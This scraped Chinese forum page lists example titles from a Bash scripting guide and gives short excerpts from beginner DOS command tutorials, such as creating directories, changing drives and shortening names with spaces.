系统 13-9. 添加一个新的硬盘驱动器 13-10.
使用
umask 来将
输出
文件
隐藏起来 13-11. killall, 来自于 /etc/rc.d/init.d 14-1. 愚蠢的脚本策略 14-2. 从循环的
输出
中
产生一个变量 14-3. 找anagram(回文构词法, 可以将一个有意义的单词, 变换为1 个或多个有意义的单词, 但 是还是原来的子母集合) 16-1.
使用
exec 重定向标准输入 16-2.
使用
exec 来重定向stdout 16-3.
使用
exec 在同一脚本
中
重定向stdin 和stdout 16-4. 避免子shell 16-5. while 循环的重定向 16-6. 另一种while 循环的重定向 16-7. until 循环重定向 16-8. for 循环重定向 16-9. for 循环重定向 loop (将标准输入和标准
输出
都重定向了) 16-10. 重定向if/then 测试结构 16-11. 用于上面例子的"names.data"数据
文件
16-12. 记录日志事件 17-1. 广播: 发送消息给每个登录上的用户 17-2. 仿造
文件
: 创建一个两行的仿造
文件
17-3.
使用
cat 的多行消息 17-4. 带有抑制tab 功能的多行消息 17-5.
使用
参数替换的here document 17-6. 上传一个
文件
对到"Sunsite"的incoming 目录 17-7. 关闭参数替换 17-8. 一个产生另外一个脚本的脚本 17-9. Here documents 与函数 17-10. "匿名" here Document 17-11. 注释掉一段代码块 17-12. 一个自文档化(self-documenting)的脚本 17-13. 在一个
文件
的开头添加文本 20-1. 子shell
中
的变量作用域 20-2. 列出用户的配置
文件
20-3. 在子shell 里进行串行处理 21-1. 在受限的情况下运行脚本 23-1. 简单函数 23-2. 带着参数的函数 23-3. 函数和被传给脚本的
命令
行参数 23-4. 传递间接引用给函数 23-5. 解除传递给函数的参数引用 23-6. 再次尝试解除传递给函数的参数引用 23-7. 两个数
中
的最大者 23-8. 把数字转化成罗马数字 23-9. 测试函数最大的返回值 23-10. 比较两个大整数 23-11. 用户名的真实名 23-12. 局部变量的可见范围 23-13. 用局部变量来递归 23-14. 汉诺塔 24-1. 脚本
中
的别名 24-2. unalias: 设置和删除别名 25-1.
使用
"与列表(and list)"来测试
命令
行参数 25-2. 用"与列表"的另一个
命令
行参数测试 25-3. "或列表"和"与列表"的结合
使用
26-1. 简单的数组用法 26-2. 格式化一首诗 26-3. 多种数组操作 26-4. 用于数组的字符串操作符 26-5. 将脚本的内容传给数组 26-6. 一些数组专用的工具 26-7. 关于空数组和空数组元素 26-8. 初始化数组 26-9. 复制和连接数组 26-10. 关于连接数组的更多信息 26-11. 一位老朋友: 冒泡排序 26-12. 内嵌数组和间接引用 26-13. 复杂数组应用: 埃拉托色尼素数筛子 26-14. 模拟下推的堆栈 26-15. 复杂的数组应用: 列出一种怪异的数学序列 26-16. 模拟二维数组,并使它倾斜 27-1. 利用/dev/tcp 来检修故障 27-2. 搜索与一个PID 相关的进程 27-3. 网络连接状态 28-1. 隐藏cookie 而不再
使用
28-2. 用/dev/zero 创建一个交换临时
文件
28-3. 创建ramdisk 29-1. 一个错误的脚本 29-2. 丢失关键字(keyword) 29-3. 另一个错误脚本 29-4. 用"assert"测试条件 29-5. 捕捉 exit 29-6. 在Control-C 后清除垃圾 29-7. 跟踪变量 29-8. 运行多进程 (在多处理器的机器里) 31-1. 数字和字符串比较是不相等同的 31-2. 子SHELL 缺陷 31-3. 把echo 的
输出
用
管道
输送给read
命令
33-1. shell 包装 33-2. 稍微复杂一些的shell 包装 33-3.
写
到
日志
文件
的shell 包装 33-4. 包装awk 的脚本 33-5. 另一个包装awk 的脚本 33-6. 把Perl 嵌入Bash 脚本 33-7. Bash 和 Perl 脚本联合
使用
33-8. 递归调用自己本身的(无用)脚本 33-9. 递归调用自己本身的(有用)脚本 33-10. 另一个递归调用自己本身的(有用)脚本 33-11. 一个 "彩色的" 地址资料库 33-12. 画盒子 33-13. 显示彩色文本 33-14. "赛马" 游戏 33-15. 返回值技巧 33-16. 整型还是string? 33-17. 传递和返回数组 33-18. anagrams 游戏 33-19. 在shell 脚本
中
调用的窗口部件 34-1. 字符串扩展 34-2. 间接变量引用 - 新方法 34-3.
使用
间接变量引用的简单数据库应用 34-4. 用数组和其他的小技巧来处理四人随机打牌 A-1. mailformat: Formatting an e-mail message A-2. rn: A simple-minded file rename utility A-3. blank-rename: renames filenames containing blanks A-4. encryptedpw: Uploading to an ftp site, using a locally encrypted password A-5. copy-cd: Copying a data CD A-6. Collatz series A-7. days-between: Calculate number of days between two dates A-8. Make a "dictionary" A-9. Soundex conversion A-10. "Game of Life" A-11. Data file for "Game of Life" A-12. behead: Removing mail and news message headers A-13. ftpget: Downloading files via ftp A-14. password: Generating random 8-character passwords A-15. fifo: Making daily backups, using named pipes A-16. Generating prime numbers using the modulo operator A-17.
tree
: Displaying a directory
tree
A-18. string functions: C-like string functions A-19. Directory information A-20. Object-oriented database A-21. Library of hash functions A-22. Colorizing text using hash functions A-23. Mounting USB keychain storage devices A-24. Preserving weblogs A-25. Protecting literal strings A-26. Unprotecting literal strings A-27. Spammer Identification A-28. Spammer Hunt A-29. Making wget easier to use A-30. A "podcasting" script A-31. Basics Reviewed A-32. An expanded cd command C-1. Counting Letter Occurrences K-1. Sample .bashrc file L-1. VIEWDATA.BAT:
DOS
Batch File L-2. viewdata.sh: Shell Script Conversion of VIEWDATA.BAT P-1. Print the server environment
基础
DOS
命令
1.进入
dos
窗口 Win+R 开始-运行-cmd 2.切换驱动器 盘符: eg: e: 3.
命令
技巧
命令
帮助: /?
命令
补齐: tab 清屏: cls 4.常用
命令
4.1.
文件
夹操作
命令
4.1.1.md
命令
eg: 1.创建子目录 md
test
1\
test
2 2.创建多个目录 md
test
1
test
2 4.1.2.cd
命令
eg: 1.返回上一级目录的上一级目录 cd… ...
Dos
命令
大全完整版
Dos
命令
大全完整版
DOS
(磁盘操作系统)
命令
,是
DOS
操作系统的
命令
,是一种面向磁盘的操作
命令
,主要包括目录操作类
命令
、磁盘操作类
命令
、
文件
操作类
命令
和其它
命令
。
使用
技巧
DOS
命令
不区分大小
写
,比如C盘的Program Files,在
dos
命令
中
完全可以用"progra~1"代替,加上英文引号是因为名称的
中
间有空格(即多于一个词),这一点是初学者经常忽略的。 常用
命令
: (...
Windows Server
6,850
社区成员
178,035
社区内容
发帖
与我相关
我的任务
Windows Server
Windows 2016/2012/2008/2003/2000/NT
复制链接
扫一扫
分享
社区描述
Windows 2016/2012/2008/2003/2000/NT
社区管理员
加入社区
获取链接或二维码
近7日
近30日
至今
加载中
查看更多榜单
社区公告
暂无公告
试试用AI创作助手写篇文章吧
+ 用AI写文章